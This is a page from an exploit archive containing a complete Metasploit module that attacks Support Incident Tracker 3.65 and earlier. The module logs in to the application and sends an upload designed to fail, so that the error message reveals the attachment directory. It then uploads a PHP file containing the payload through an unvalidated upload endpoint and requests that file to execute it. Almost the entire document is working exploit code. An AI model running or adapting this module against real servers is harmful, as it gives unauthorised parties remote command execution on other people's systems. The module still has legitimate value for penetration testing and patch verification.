Support Incident Tracker <= 3.65 Remote Command Execution



EKU-ID: 1298 CVE: 2011-3829 OSVDB-ID: 76999
Author: juan vazquez Published: 2011-11-14 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Support Incident Tracker <= 3.65 Remote Command Execution',
   'Description'    => %q{
     This module combines two separate issues within Support Incident Tracker (<= 3.65)
    application to upload arbitrary data and thus execute a shell. The two issues exist
    in ftp_upload_file.php.
    The first vulnerability exposes the upload dir used to store attachments.
    The second vulnerability allows arbitrary file upload since there is no
    validation function to prevent from uploading any file type.
    Authentication is required to exploit both vulnerabilities.
   },
   'Author'         =>
    [
     'Secunia Research', # Original discovery
     'juan vazquez'      # Metasploit module
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     ['CVE', 'CVE-2011-3829'],
     ['CVE', 'CVE-2011-3833'],
     ['OSVDB', '76999'],
     ['OSVDB', '77003'],
     ['URL', 'http://secunia.com/secunia_research/2011-75/'],
     ['URL', 'http://secunia.com/secunia_research/2011-79/'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Compat'      =>
      {
       'ConnectionType' => 'find',
      }
    },
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Nov 10 2011',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('URI', [true, "SiT! directory path", "/sit"]),
    OptString.new('USERNAME', [ true, 'The username to authenticate as','' ]),
    OptString.new('PASSWORD', [ true, 'The password for the specified username','' ]),
   ], self.class)
 end

 def check

  if datastore['URI'][-1, 1] == "/"
   uri = datastore['URI'] + "index.php"
  else
   uri = datastore['URI'] + "/index.php"
  end

  res = send_request_raw({
   'uri'     => uri
  })

  if (res and res.body =~ /SiT! Support Incident Tracker v(\d)\.(\d\d)/)
   ver = [ $1.to_i, $2.to_i ]
   print_status("SiT! #{ver[0]}.#{ver[1]}")

   if (ver[0] == 3 and ver[1] == 65)
    return Exploit::CheckCode::Vulnerable
   elsif (ver[0] == 3 and ver[1] < 65)
    return Exploit::CheckCode::Appears
   end
  end

  return Exploit::CheckCode::Safe
 end

 def retrieve_session(user, pass)

  if datastore['URI'][-1, 1] == "/"
   uri = datastore['URI'] + "login.php"
  else
   uri = datastore['URI'] + "/login.php"
  end

  res = send_request_cgi({
   'uri'     => uri,
   'method'  => 'POST',
   'data'    => "username=#{user}&password=#{pass}",
  }, 25)

  if (res and res.code == 302 and res.headers['Location'] =~ /main.php/)
   print_status("Successfully logged in as #{user}:#{pass}")

   if (res.headers['Set-Cookie'] =~ /SiTsessionID/) and res.headers['Set-Cookie'].split("SiTsessionID")[-1] =~ /=(.*);/
    session = $1
    print_status("Successfully retrieved cookie: #{session}")
    return session
   else
    raise RuntimeError, "Error retrieving cookie!"
   end
  else
   raise RuntimeError, "Error logging in."
  end
 end

 def upload_page(session, newpage, contents)

  if datastore['URI'][-1, 1] == "/"
   uri = datastore['URI'] + "ftp_upload_file.php"
  else
   uri = datastore['URI'] + "/ftp_upload_file.php"
  end

  boundary = rand_text_alphanumeric(6)

  data = "--#{boundary}\r\n"
  data << "Content-Disposition: form-data; name=\"file\"; "
  data << "filename=\"#{newpage}\"\r\n"
  data << "Content-Type: application/x-httpd-php\r\n\r\n"
  data << contents
  data << "\r\n--#{boundary}\r\n"
  data << "Content-Disposition: form-data; name=\"shortdescription\"\r\n\r\n"
  data << rand_text_alphanumeric(rand(10 + 10))
  data << "\r\n--#{boundary}\r\n"
  data << "Content-Disposition: form-data; name=\"longdescription\"\r\n\r\n"
  data << rand_text_alphanumeric(rand(20) + 20)
  data << "\r\n--#{boundary}\r\n"
  data << "Content-Disposition: form-data; name=\"fileversion\"\r\n\r\n"
  data << "1"
  data << "\r\n--#{boundary}\r\n"
  data << "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
  data << "publish"
  data << "\r\n--#{boundary}--"

  res = send_request_raw({
   'uri'   => uri,
   'method'  => 'POST',
   'data'    => data,
   'headers' =>
   {
    'Content-Type'  => 'multipart/form-data; boundary=' + boundary,
    'Content-Length' => data.length,
    'Cookie'  => "SiTsessionID=#{session}",
   }
  }, 25)

  if (res and res.code == 200)
   print_status("Successfully uploaded #{newpage}")
   return res
  else
   raise RuntimeError, "Error uploading #{newpage}"
  end
 end

 def retrieve_upload_dir(session)
  data =  rand_text_alphanumeric(rand(20)+20)
  filename = rand_text_alphanumeric(rand(256) + 300)
  res = upload_page(session, filename, data)

  if res.body =~ /attachments-(.*)\/#{filename}\): failed to open stream/
   upload_dir = "attachments-#{$1}"
   print_status("Successfully retrieved upload dir: #{upload_dir}")
   return upload_dir
  else
   raise RuntimeError, "Error retrieving the upload dir"
  end

 end

 def cmd_shell(cmdpath)
  print_status("Calling payload: #{cmdpath}")

  if datastore['URI'][-1, 1] == "/"
   uri = datastore['URI'] + cmdpath
  else
   uri = datastore['URI'] + "/#{cmdpath}"
  end

  send_request_raw({
   'uri' => uri
  }, 25)
  return
 end

 def exploit
  cmd_php = '<?php ' + payload.encoded + '?>'
  cmdscript   = rand_text_alphanumeric(rand(10)+10) + '.php'
  user        = datastore['USERNAME']
  pass        = datastore['PASSWORD']

  session = retrieve_session(user, pass)
  upload_dir = retrieve_upload_dir(session) # CVE-2011-3829
  upload_page(session, cmdscript, cmd_php) # CVE-2011-3833
  cmdpath = "#{upload_dir}/#{cmdscript}"
  cmd_shell(cmdpath)
  handler
 end
end